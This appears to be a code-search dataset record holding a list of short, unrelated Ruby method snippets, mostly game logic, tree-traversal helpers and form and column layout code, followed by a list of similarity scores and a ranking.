"def invention_chance\n\tbase_chance = 0.0\n\tgid = self.item.groupID\n\ttid = self.item.typeID\n\tif gid == 27 || gid == 419 || tid == 22544\n\t\tbase_chance = 0.2\n\telsif gid == 26 || gid == 28 || tid == 22548\n\t\tbase_chance = 0.25\n\telsif gid == 25 || gid == 420 || gid == 513 || tid == 22546\n\t\tbase_chance = 0.3\n\telse\n\t\tbase_chance = 0.4\n\tend\n\n# TODO determine which datacores are needed and the skill level associated with that datacore\n# character = Character.find(char_id)\n# encryption_skill_level = character.skill_level(...)\n# datacore_1_skill_level = character.skill_level(...)\n# datacore_2_skill_level = character.skill_level(...)\n\tencryption_skill_level = 3\n\tdatacore_1_skill_level = 3\n\tdatacore_2_skill_level = 3\n\tmeta_level = 0\n\tdecryptor_modifier = 1.0\n\tbase_chance * (1.0 + (0.01 * encryption_skill_level)) * (1.0 + ((datacore_1_skill_level + datacore_2_skill_level) * (0.1 / (5.0 - meta_level)))) * decryptor_modifier\nend",
"def children_to_zero\n self.youngsters ||= 0\n end",
"def child?\n true\n end",
"def applyPrize(m)\n nLevels = m.getLevelsGained\n self.incrementLevels (nLevels)\n nTreasures = m.getTreasuresGained\n \n if nTreasures > 0\n dealer = CardDealer.instance\n nTreasures.times do\n treasure = dealer.nextTreasure\n @hiddenTreasures << treasure\n end\n end\n \n end",
"def pre_execute_boolean_attribute\n\n return unless children.size == 1\n\n t = @node['tree'] = Flor.dup(tree)\n t[1] << [ '_boo', true, @node['tree'][2] ]\n end",
"def needs_explicit_winner?\n needs_playing? && children.count {|child| child.explicit_or_implicit_winner.present?} == 2\n end",
"def prepare_children\n if predict_matrix.is_a?(NodeMatrix) && predict_matrix.has_great_grandchildren?\n create_children\n else\n nil\n end\n end",
"def children_exist?\n\tend",
"def theoretical_amount\n theoretical = self.original_amount.to_f\n self.samples.each do |child|\n theoretical -= child.original_amount.to_f\n end\n theoretical\n end",
"def num_children\n super\n end",
"def check_children\n # We take care of our children. If someone kill one, me made another one.\n # PS: Is a hard work :P\n loop do\n pid = Process.wait\n @child_pids.delete(pid)\n @child_pids << spawn_child\n end\n end",
"def child?\n false\n end",
"def check_children(ast)\n check_has_only_assoc_children ast\n ast.children.each do |child_ast|\n check_assoc_child_has_two_children child_ast\n end\n end",
"def post_initialize_child(child)\n # No Op by default\n end",
"def do_action( args )\n @doing_action = true\n apply_filters( '', args )\n\n # If there are recursive calls to the current action, we haven't finished it until we get to the last one.\n @doing_action = false if @nesting_level == 0\n end",
"def any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end",
"def update_bayesian\n points_in_children = bayesian_children.inject(0) { |s, c|\n s + c.send(self.class.child_field)\n }\n\n update_attributes num_bayesian_children: bayesian_children.count,\n num_bayesian_points: points_in_children\n end",
"def preserve_children?\n false\n end",
"def _children\n expected_amount == 1 ? 'child' : 'children'\n end",
"def ocare_child_previously_collected_and_equals_one?(question)\n answer_for(question, ocare_child_response_is_one?)\n end",
"def perform_damage_effect\n end",
"def perform_damage_effect\n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def tsbs_apply_item(target, item, subj = @subject)\n if $imported[\"YEA-LunaticObjects\"]\n lunatic_object_effect(:prepare, item, subj, target)\n target.item_apply(subj, item)\n lunatic_object_effect(:during, item, subj, target)\n else\n target.item_apply(subj, item)\n end\n return if (item.is_a?(RPG::Skill) && item.id == target.guard_skill_id)\n check_skill_guard(target, item) unless item.is_a?(RPG::Item)\n @damage.start(target.result)\n tsbs_redraw_status(subj)\n tsbs_redraw_status(target) unless target == subj\n end",
"def replied_to?\n self.children.length > 0\n end",
"def vote\n vote = 0\n self.children.each { |c|\n vote = vote + c.vote\n }\n if self.children.size > 0\n (vote / self.children.size)\n else\n vote\n end\n end",
"def has_children(child_types)\n @child_types = child_types\n\n define_method_child_types\n define_method_children\n define_method_accepts\n end",
"def actual_amount\n children.length\n end",
"def item_effect_hit_result(item) \r\n return (rand(100) < item.hit)\r\n end",
"def valid_children\n allowed_children_and_descendants.select {|child| child.allowed_parent?(self)}\n end",
"def applyPrize(m)\n incrementLevels(m.getLevelsGained)\n \n if(m.getTreasuresGained > 0)\n dealer=CardDealer.instance\n \n i=0\n while(i<m.getTreasuresGained)\n @hiddenTreasures.push(dealer.nextTreasure)\n i = i+1\n end\n \n end\n \n end",
"def any_results_including_children?\n races.any?(&:any_results?) || children.any?(&:any_results_including_children?)\n end",
"def item_effect_effective_setup(item)\r\n effective = false\r\n return effective |= item.common_event_id > 0\r\n end",
"def applyBadConsequence(m)\n badConsequence = m.getBadConsequence\n nLevels = badConsequence.getLevels\n decrementLevels(nLevels)\n pendingBad = badConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pendingBad)\n \n end",
"def child_attenuation\n @child_attenuation ||= @sn_local_to_global*@search_node_weight\n end",
"def children_time\n self.total_time - self.self_time - self.wait_time\n end",
"def propagate_changes\n if !(changed_attributes.keys & %w(winner winner_id)).empty?\n parent.reset_results if parent.present?\n self.reload\n end\n end",
"def altered()\n puts \"CHILD, BEFORE PARENT altered()\"\n super()\n puts \"CHILD, AFTER PARENT altered()\"\n end",
"def waterfall\n children = @level.make_children\n names = if children.all? { |x| x.is_a? LevelZero }\n AffixSet.instance.sampler @name, children.size\n else\n Namer.instance\n end\n @contents = children.collect { |lvl| Node.new(names.sample, lvl) }\n @contents.each &:waterfall\n end",
"def validate_children\n child_associations.each do |collection|\n if collection.dirty?\n collection.each do |child|\n unless child.valid?\n relationship_errors = (errors[collection.relationship.name] ||= [])\n unless relationship_errors.include?(child.errors)\n relationship_errors << child.errors\n end\n end\n end\n end\n end\n end",
"def with_prob probability, action = \"\"\n if rand < probability\n if block_given?\n yield\n else\n act action\n end\n true\n else\n false\n end\n end",
"def child_of?(parent); end",
"def apply\n\n regex = nil\n handler = attribute_text\n\n if handler == ''\n regex = (attributes.keys - COMMON_ATT_KEYS).first\n handler = attribute(regex)\n end\n\n if tree.last.size > 0\n regex = handler\n handler = [ 'sequence', {}, Ruote.fulldup(tree.last) ]\n end\n\n return reply_to_parent(h.applied_workitem) if regex.nil? && handler.nil?\n # nothing to register, let's move on\n\n par = parent\n oe = par.h.on_error\n\n if oe.is_a?(String) or Ruote.is_tree?(oe)\n oe = [ nil, oe ]\n end\n\n oe = Array(par.h.on_error).compact\n oe << [ regex, handler, fei.child_id ]\n\n par.h.on_error = oe\n\n if par.do_persist\n reply_to_parent(h.applied_workitem) # success\n else\n apply # try again\n end\n end",
"def walk(arg=true, &block)\n children do |child|\n if ch_arg = block.call(arg, child)\n child.walk(ch_arg, &block)\n end\n end\n end",
"def affect_relation_values!\n Relations.new(@klass).affect_relation_values!\n end",
"def super_effective?\n @effectiveness >= 2\n end",
"def should_mark_children_as_configured\n !self.credentials.blank? || (self.custom_volume_weight_enabled == true) || (!self.track_trace_method.nil? && (self.track_trace_method != CarrierProduct::TrackTraceMethods::NONE))\n end",
"def handle_spare(score)\n return unless self.spare\n self.apply_extra_score(score) if self.extra_turns_applied.to_i != 1\n end"
] | [
"0.61365366",
"0.60137874",
"0.59377193",
"0.59209",
"0.58969873",
"0.56040144",
"0.555418",
"0.5551648",
"0.55171067",
"0.5510516",
"0.54537374",
"0.5450382",
"0.5406335",
"0.5375468",
"0.53610283",
"0.53539085",
"0.5327885",
"0.5327885",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.53199863",
"0.530466",
"0.5263655",
"0.5238887",
"0.5229982",
"0.52237624",
"0.5202633",
"0.5181069",
"0.5174143",
"0.51648194",
"0.51646054",
"0.5160589",
"0.5128257",
"0.51082927",
"0.50962675",
"0.5093021",
"0.5073117",
"0.5071881",
"0.50620586",
"0.50481045",
"0.50409395",
"0.5040804",
"0.5037007",
"0.50362027",
"0.50349885",
"0.5031315",
"0.5029005",
"0.5022484",
"0.50040656",
"0.49833426",
"0.4975014",
"0.4968008",
"0.4967254",
"0.4967184",
"0.49650276",
"0.49518508",
"0.4938915",
"0.4935908",
"0.4926169",
"0.49260697",
"0.49250707",
"0.49245963",
"0.49144804",
"0.49144804",
"0.4911338",
"0.4911338",
"0.49088496",
"0.49082848",
"0.49040136",
"0.49032232",
"0.49030426",
"0.49021012",
"0.48875347",
"0.48748103",
"0.4872564",
"0.48696414",
"0.48463437",
"0.4833515",
"0.48321328",
"0.48263183",
"0.48234344",
"0.48207045",
"0.48159915",
"0.48139173",
"0.4810263",
"0.48070297",
"0.48026893",
"0.47975942",
"0.47939855",
"0.479346",
"0.47831678"
] | 0.69449115 | 0 |
If our object has a blueprint and a max_field equivalent of a field, offer a 'max' button. field is a sym of the field in question, input is the input field to populate. | def check_max_button(field,input)
if @object.respond_to?(:blueprint)
max = ("max_" + field.to_s ).to_sym
if @object.blueprint.respond_to?(max)
num_max = @object.send(max)
maxButton = Button.new("Max") do
input.text = num_max.to_s
end
maxButton.rect.x = input.rect.right + @spacing
maxButton.rect.y = input.rect.y
self << maxButton
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_max(fields)\n view.update_many(\"$max\" => collect_operations(fields))\n end",
"def max(field)\n determine(field, :>=)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def text_field_max\n return nil unless hidden_field_max\n hidden_field_max.divmod(hidden_field_step).first * text_field_step\n # fetch_options('max', text_field_name) # default)\n end",
"def max(field = nil)\n block_given? ? super() : aggregates(field)[\"max\"]\n end",
"def set_Maximum(value)\n set_input(\"Maximum\", value)\n end",
"def max(field)\n grouped(:max, field.to_s, Javascript.max)\n end",
"def get_max_field()\n 0\n end",
"def set_MaxID(value)\n set_input(\"MaxID\", value)\n end",
"def set_MaxID(value)\n set_input(\"MaxID\", value)\n end",
"def item_max() @item_max end",
"def max\n @maxNumber\n end",
"def max(field, opts={})\n opts = ::Hashie::Mash.new(opts)\n all(opts).inject(nil) do |max, item|\n val = item.send(field)\n max = val if !val.nil? && (max.nil? || val > max)\n max\n end\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def set_MaxId(value)\n set_input(\"MaxId\", value)\n end",
"def item_max=(value)\n @item_max = value\n end",
"def max\n end",
"def max\n end",
"def max\n @max\n end",
"def max\n @max\n end",
"def get_max\n @max\n end",
"def max=\n end",
"def max(args)\n col = column field: args[:field]\n col.map! {|item| item = item.to_f} \n col.max\n end",
"def max_number_confirm_button\n\t\t$tracer.trace(format_method(__method__))\n\t\treturn ToolTag.new(@tag.find.button.className(create_ats_regex_string(\"ats-maxnumconfirmbtn\")), format_method(__method__))\n\tend",
"def set_max(max)\n self[:max] = (max > 0 ? max : 1)\n end",
"def max; end",
"def max; end",
"def get_max()\n end",
"def max(input_a, input_b, name: nil)\n check_allowed_types(input_a, NUMERIC_TYPES)\n check_allowed_types(input_b, NUMERIC_TYPES)\n input_a, input_b = check_data_types(input_a, input_b)\n _op(:max, input_a, input_b, name: name)\n end",
"def max\n if valid?\n max_value\n end\n end",
"def odb_max\n \"max(#{to_s})\"\n end",
"def is_max_number?()\n return @ucItemNumber.value == @ucItemNumber.max\n end",
"def acceptable_max\n return unless min_max_validator\n\n min_max_validator.options[:in]&.max || type_related_acceptable_max\n end",
"def maximum(input_a, input_b, name: nil)\n check_allowed_types(input_a, NUMERIC_TYPES)\n check_allowed_types(input_b, NUMERIC_TYPES)\n input_a, input_b = check_data_types(input_a, input_b)\n max(input_a, input_b, name: name)\n end",
"def check_new_max(product)\n if product > @max\n @max = product\n end \nend",
"def max\n\t\t@max || nil\n\tend",
"def item_max\n @item_max\n end",
"def maximum(input_a, input_b, name: nil)\n max(input_a, input_b, name: name)\n end",
"def max(attr)\n column(attr).max\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def set_Limit(value)\n set_input(\"Limit\", value)\n end",
"def layout_fields\n # Everything has a tag - or it BETTER!\n # Probably should refactor this or something.\n value = @stored_values[:tag] || @object.tag\n label = Label.new(\"Tag\")\n tagInput = InputField.new(value,30)\n @attr_to_field[:tag] = tagInput\n layout_field_button(label,tagInput,\"Auto\") do\n attemptName = nil\n if @attr_to_field[:name]\n attemptName = @attr_to_field[:name].text\n end\n tagInput.text = @rl.repository.generate_tag_for(@object,attemptName)\n end\n @fieldY = tagInput.rect.bottom + @spacing \n @object.class.attrs.sort.each do | attr |\n next if attr == :tag # We did tags ourselves\n display = true\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n rows,cols = [0,0]\n size= @object.class.size_for(attr)\n input = nil\n if size\n rows,cols = size\n if rows > 1\n input = MultiLineInput.new(value)\n input.set_size(rows,cols)\n elsif rows == 0 || cols == 0\n display = false\n else\n input = InputField.new(value, cols)\n end\n else\n input = InputField.new(value,20)\n end \n \n if display\n if rows > 1\n scroller = Scroller.new(input)\n scroller.translate_to(*input.rect.topleft)\n layout_field(label,scroller)\n else\n layout_field(label,input)\n end\n @attr_to_field[attr] = input\n end\n check_max_button(attr,input) if input\n end\n \n # Booleans\n @object.class.booleans.each do | attr |\n value = @stored_values[attr] || @object.send(attr)\n checkbox = CheckBox.new(attr.to_s,value)\n checkbox.rect.topleft = [ @fieldX, @fieldY ] \n \n @fieldY = checkbox.rect.bottom + @spacing\n \n self << checkbox\n @bool_to_field[attr] = checkbox\n end\n \n # And now for the enums!\n @object.class.enumerations.each do | attr, valid |\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n \n size = @object.class.size_for(attr)\n label.rect.topleft = [@fieldX, @fieldY]\n rows = size || valid.size\n \n input = ListBox.new\n input.rect.w = @mainRect.w / 2 - label.rect.w - @spacing * 3\n input.rect.h = input.height(rows)\n input.items = valid\n input.chosen = value\n \n input.translate_to(label.rect.right + @spacing, @fieldY)\n \n @fieldY = input.rect.bottom + @spacing\n self << label\n self << input\n @enum_to_field[attr] = input\n \n end\n end",
"def validation_max\n validation = validations? && validations.find do |validation|\n validation.kind == :numericality\n end\n if validation\n # We can't determine an appropriate value for :greater_than with a float/decimal column\n raise IndeterminableMaximumAttributeError if validation.options[:less_than] && column? && [:float, :decimal].include?(column.type)\n\n if validation.options[:less_than_or_equal_to]\n return (validation.options[:less_than_or_equal_to].call(object)) if validation.options[:less_than_or_equal_to].kind_of?(Proc)\n return (validation.options[:less_than_or_equal_to])\n end\n\n if validation.options[:less_than]\n return ((validation.options[:less_than].call(object)) - 1) if validation.options[:less_than].kind_of?(Proc)\n return (validation.options[:less_than] - 1)\n end\n end\n end",
"def max _obj, _args\n \"_obj max _args;\" \n end",
"def item_max\r\n @item_max || 0\r\n end",
"def set_MaxEntries(value)\n set_input(\"MaxEntries\", value)\n end",
"def find_max()\r\n self.max\r\n end",
"def max\n @max ||= define_min_and_max && @max\n end",
"def get_max\n @max ||= calculate_max\n end",
"def max(value)\n opts[:max] = value\n end",
"def max\n self.class.max\n end",
"def get_feature_edit_html()\n super() << \"<div class=\\\"field\\\">\n min=<input name=\\\"min_rating\\\" type='text' value=\\\"#{min_rating}\\\" size=\\\"2\\\" />\n max=<input name=\\\"max_rating\\\" type='text' value=\\\"#{max_rating}\\\" size=\\\"2\\\" />\n </div>\"\n end",
"def add_show_field(*) super end",
"def max\n self.next\n end",
"def maximum=(value)\n @maximum = value\n end",
"def maximum(project_id, event_collection, target_property, options = {})\n options[:event_collection] = event_collection\n options[:target_property] = target_property\n\n resource \"projects/#{project_id}/queries/maximum\", options\n end"
] | [
"0.6498205",
"0.64209783",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.63236445",
"0.6245084",
"0.62354696",
"0.6192824",
"0.60762686",
"0.59653044",
"0.5964481",
"0.5901893",
"0.5895624",
"0.5878555",
"0.58374876",
"0.58374876",
"0.58374876",
"0.58374786",
"0.58374786",
"0.58374786",
"0.58374786",
"0.58356726",
"0.58356726",
"0.58356726",
"0.58356726",
"0.5834724",
"0.5781308",
"0.5781308",
"0.5717096",
"0.5717096",
"0.565259",
"0.56504095",
"0.5610761",
"0.555252",
"0.55303776",
"0.552226",
"0.552226",
"0.54837275",
"0.54764116",
"0.5467326",
"0.54551107",
"0.5433905",
"0.54136384",
"0.54056185",
"0.53833413",
"0.53786623",
"0.5378019",
"0.53708565",
"0.5368618",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5299264",
"0.5295491",
"0.52762634",
"0.5271391",
"0.5264842",
"0.52083874",
"0.51969284",
"0.5193309",
"0.5189394",
"0.5184524",
"0.51774126",
"0.5154947",
"0.515311",
"0.51523906",
"0.5145466",
"0.5115435"
] | 0.8649447 | 0 |
Fields go in a column on the left, in alphabetical order. Subclasses override this if they need to do anything fancy. | def layout_fields
# Everything has a tag - or it BETTER!
# Probably should refactor this or something.
value = @stored_values[:tag] || @object.tag
label = Label.new("Tag")
tagInput = InputField.new(value,30)
@attr_to_field[:tag] = tagInput
layout_field_button(label,tagInput,"Auto") do
attemptName = nil
if @attr_to_field[:name]
attemptName = @attr_to_field[:name].text
end
tagInput.text = @rl.repository.generate_tag_for(@object,attemptName)
end
@fieldY = tagInput.rect.bottom + @spacing
@object.class.attrs.sort.each do | attr |
next if attr == :tag # We did tags ourselves
display = true
value = @stored_values[attr] || @object.send(attr)
label = Label.new(attr.to_s)
rows,cols = [0,0]
size= @object.class.size_for(attr)
input = nil
if size
rows,cols = size
if rows > 1
input = MultiLineInput.new(value)
input.set_size(rows,cols)
elsif rows == 0 || cols == 0
display = false
else
input = InputField.new(value, cols)
end
else
input = InputField.new(value,20)
end
if display
if rows > 1
scroller = Scroller.new(input)
scroller.translate_to(*input.rect.topleft)
layout_field(label,scroller)
else
layout_field(label,input)
end
@attr_to_field[attr] = input
end
check_max_button(attr,input) if input
end
# Booleans
@object.class.booleans.each do | attr |
value = @stored_values[attr] || @object.send(attr)
checkbox = CheckBox.new(attr.to_s,value)
checkbox.rect.topleft = [ @fieldX, @fieldY ]
@fieldY = checkbox.rect.bottom + @spacing
self << checkbox
@bool_to_field[attr] = checkbox
end
# And now for the enums!
@object.class.enumerations.each do | attr, valid |
value = @stored_values[attr] || @object.send(attr)
label = Label.new(attr.to_s)
size = @object.class.size_for(attr)
label.rect.topleft = [@fieldX, @fieldY]
rows = size || valid.size
input = ListBox.new
input.rect.w = @mainRect.w / 2 - label.rect.w - @spacing * 3
input.rect.h = input.height(rows)
input.items = valid
input.chosen = value
input.translate_to(label.rect.right + @spacing, @fieldY)
@fieldY = input.rect.bottom + @spacing
self << label
self << input
@enum_to_field[attr] = input
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def left\n send left_column_name\n end",
"def drop_left\n tbl = self.class.new(\n 'Columns' => Array.new(self.rows.count+1,' '),\n 'Header' => self.header,\n 'Indent' => self.indent)\n (self.columns.count+1).times do |ti|\n row = self.rows.map {|r| r[ti]}.unshift(self.columns[ti]).flatten\n # insert our col|row break. kind of hackish\n row[1] = \"| #{row[1]}\" unless row.all? {|e| e.nil? || e.empty?}\n tbl << row\n end\n return tbl\n end",
"def col\n horizontals_push; alignments_reset ; widths_reset\n end",
"def left\n self[self.nested_set_options[:left_column]] || 0\n end",
"def sort_column\n super \"User\", \"lastname\"\n end",
"def sort_column\n super \"User\", \"lastname\"\n end",
"def sort_column\n super \"User\", \"lastname\"\n end",
"def releaf_fields_to_display action\n column_names - %w[id created_at updated_at]\n end",
"def sort_fields(fields)\n fields.sort {|a,b| (COLUMN_SORTING_MAP[a] || a).to_s <=> (COLUMN_SORTING_MAP[b] || b).to_s }\n end",
"def right_justified_columns\n res = fields.map.with_index do |field, i|\n klass = String::Trait.trait_class(field) rescue nil\n justification = klass && klass.justification rescue :left\n [justification, i]\n end\n res = res.select {|justification, index| justification == :right}\n .map{|justification, index| index}\n res\n end",
"def order\n order = sortable_column_order do |column, direction|\n case column\n when \"name\", \"username\", \"email\"\n \"LOWER(#{column}) #{direction}\"\n when \"admin\"\n \"#{column} #{direction}\"\n else\n 'LOWER(username) ASC'\n end\n end\n end",
"def draw_left_column(node)\n right_adjusted_text = node.to_s.rjust(CELL_WIDTH)\n @output.print right_adjusted_text\n @left_column_drawn = true\n end",
"def columns\n left...(left + bordered_width)\n end",
"def form_field_order\n %w{\n\n }\n end",
"def form_field_order\n %w{\n\n }\n end",
"def sort_column\n super \"Room\", \"sort_order\"\n end",
"def sort_column\n super \"Room\", \"sort_order\"\n end",
"def sortable_fields\n []\n end",
"def columns_title\n self.columns.collect{|c|c.label}\n end",
"def sort_field\n @view_column.fetch(:sort_field, field)\n end",
"def form_field_order\n %w{\n\n }\n end",
"def sort_field\n @view_column[:sort_field] || field\n end",
"def arrangeable_fields\n raise NotImplementedError, 'You need to overwrite this method in the calling class'\n end",
"def left=(value)\n self[self.nested_set_options[:left_column]] = value\n end",
"def display_sort_column_headers(search)\n user_column_headers.reduce(String.new) do |string, field|\n string << (tag.th sort_link(search, field, {}, method: action))\n end +\n post_title_header_labels.reduce(String.new) do |str, i|\n str << (tag.th \"Post #{i} title\")\n end\n end",
"def sortable_columns\n resource_class.column_names + self.class.custom_sort_fields.keys.map(&:to_s)\n end",
"def reverse_columns!\n data.reverse_columns!; self\n end",
"def sort_column\n super \"Umbra::Record\", \"title_sort\"\n end",
"def sortable_columns\n @sortable_columns ||= ['Passport.name']\n end",
"def sortable_columns\n [\"date\", \"dow\", \"sortable_title\", \"receipts\"]\n end",
"def add_sort_field(*) super end",
"def display_fields\n database_field_names\n end",
"def align_left\n @horizontal_align = :left\n return self\n end",
"def format(field, column_width, space = '')\n case type\n when :left\n \"%-#{column_width}s#{space}\" % field.to_s\n when :right\n \"%#{column_width}s#{space}\" % field.to_s\n when :center\n center_align field, column_width, space\n end\n end",
"def sortable_list_view_fields\n return @sortable_list_view_fields if defined? @sortable_list_view_fields\n\n @sortable_list_view_fields ||= all_list_view_fields.select(&:human_readable?)\n end",
"def field_list(no_placeholder_fields: false)\n return @field_list if @field_list\n\n fields = db_columns.keys.map(&:to_s)\n\n if respond_to?(:placeholder_fields) && !no_placeholder_fields\n placeholder_fields.each do |before, placeholder|\n i = fields.index(before)\n i ||= 0\n fields.insert(i, placeholder)\n end\n end\n\n @field_list = fields.join(' ')\n end",
"def first_column\n @first_column ||= first_last_row_col[:first_column]\n end",
"def layoutField(fld, idx)\r\n insert_item(idx, fld.name)\r\n set_item(idx, 1, fld.df.desc)\r\n set_item(idx, 2, fld.generator.klass_name)\r\n set_edit_attr(idx, 2, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @value_types)\r\n case fld.generator\r\n when ValueTypeFixed\r\n set_item(idx, 3, fld.generator.value)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_EDIT)\r\n when ValueTypeFromConfig\r\n when ValueTypeVariableCard\r\n set_item(idx, 3, fld.generator.column)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, Card.columns)\r\n when ValueTypeVariableAcquirer\r\n set_item(idx, 3, fld.generator.column)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, Acquirer.columns)\r\n when ValueTypePreviousOutgoing\r\n set_item(idx, 3, fld.generator.field_name)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @fullnameList)\r\n when ValueTypePreviousIncoming\r\n set_item(idx, 3, fld.generator.field_name)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @fullnameList)\r\n end # end of case\r\n end",
"def draw_columns\n @sections[:body][:fields].each do |field, settings|\n settings = [settings[0], @posY, (@defaults.merge (settings[1] || { }).symbolize_keys!)]\n settings[2][:style] = settings[2][:style].to_sym\n set_options settings[2]\n draw_line(@posY + @sections[:body][:settings][:height]/2)\n field = settings[2][:column] || field.to_s.split('_').inject('') do |str, part|\n str << part.camelize << \" \"\n end\n draw_text field, settings\n end\n draw_line(@posY - @sections[:body][:settings][:height]/2)\n set_pos_y @sections[:body][:settings][:height]\n end",
"def set_form_col col1=0 #:nodoc:\n @cols_panned ||= 0 \n # editable listboxes will involve changing cursor and the form issue\n ## added win_col on 2010-01-04 23:28 for embedded forms BUFFERED TRYING OUT\n #[email protected]\n win_col = 0 \n col2 = win_col + @col + @col_offset + col1 + @cols_panned + @left_margin\n $log.debug \" set_form_col in rlistbox #{@col}+ left_margin #{@left_margin} ( #{col2} ) \"\n setrowcol nil, col2 \n end",
"def sort_column\n return @_sort_column if @_sort_column\n\n ['name', 'title', 'label', 'subject', 'full_name', 'first_name', 'email', 'number', 'description'].each do |name|\n return name if column_names.include?(name)\n end\n\n klass.primary_key\n end",
"def cursor_left(wrap = false)\n if col_max >= 2 && (index % col_max == 0)\n select(index - 1 + col_max)\n elsif col_max >= 2 && (index > 0 || (wrap && horizontal?))\n select((index - 1 + item_max) % item_max)\n end\n end",
"def last_name_first\n self.sortable_name\n end",
"def column_order\n [:line_count, :loc_count, :file_count, :class_length]\n end",
"def columns\n\t\t\t@columns ||= Txtboard::Column.columns.sort_by(&:order)\n\t\tend",
"def left(target = self)\n target[left_column_name]\n end",
"def sort_column\n Contact.column_names.include?(params[:sort]) ? params[:sort] : \"first_name\"\n end",
"def form_field\n case self.column_type\n when \"text\"\n %{<%= :#{self.model_name}.text_area :#{self.column_name}, :label => true %>}\n when \"date\"\n %{<%= :#{self.model_name}.date_select :#{self.column_name}, :label => true %>}\n when \"date_time\"\n %{<%= :#{self.model_name}.date_time_select :#{self.column_name}, :label => true %>}\n else\n case self.column_name.downcase\n when /password/\n %{<%= :#{self.model_name}.password_field :#{self.column_name}, :label => true %>}\n else\n %{<%= :#{self.model_name}.text_field :#{self.column_name}, :label => true %>}\n end\n end\n end",
"def column_of( x )\n @left_column + x\n end",
"def column_of( x )\n @left_column + x\n end",
"def titles\n fields.map{|f| f.to_s.gsub('_',' ').titleize }\n end",
"def <=>(x)\n self[acts_as_nested_set_options[:left_column]] <=> x[acts_as_nested_set_options[:left_column]]\n end",
"def ordered_custom_fields(name)\n send(:\"#{name}_custom_fields\").sort { |a, b| (a.position || 0) <=> (b.position || 0) }\n end",
"def display_columns(input)\n output = \"\"\n input.each_with_index do |element, index|\n # spaces to add inbetween = column.length - word.length\n output += \"#{element.capitalize + (\" \" * (15 - element.to_s.chars.count))}\"\n if index % 4 == 0 && index != 0\n output += \"\\n\"\n end\n end\n puts \"\"\n puts ColorizedString[output].bold\n end",
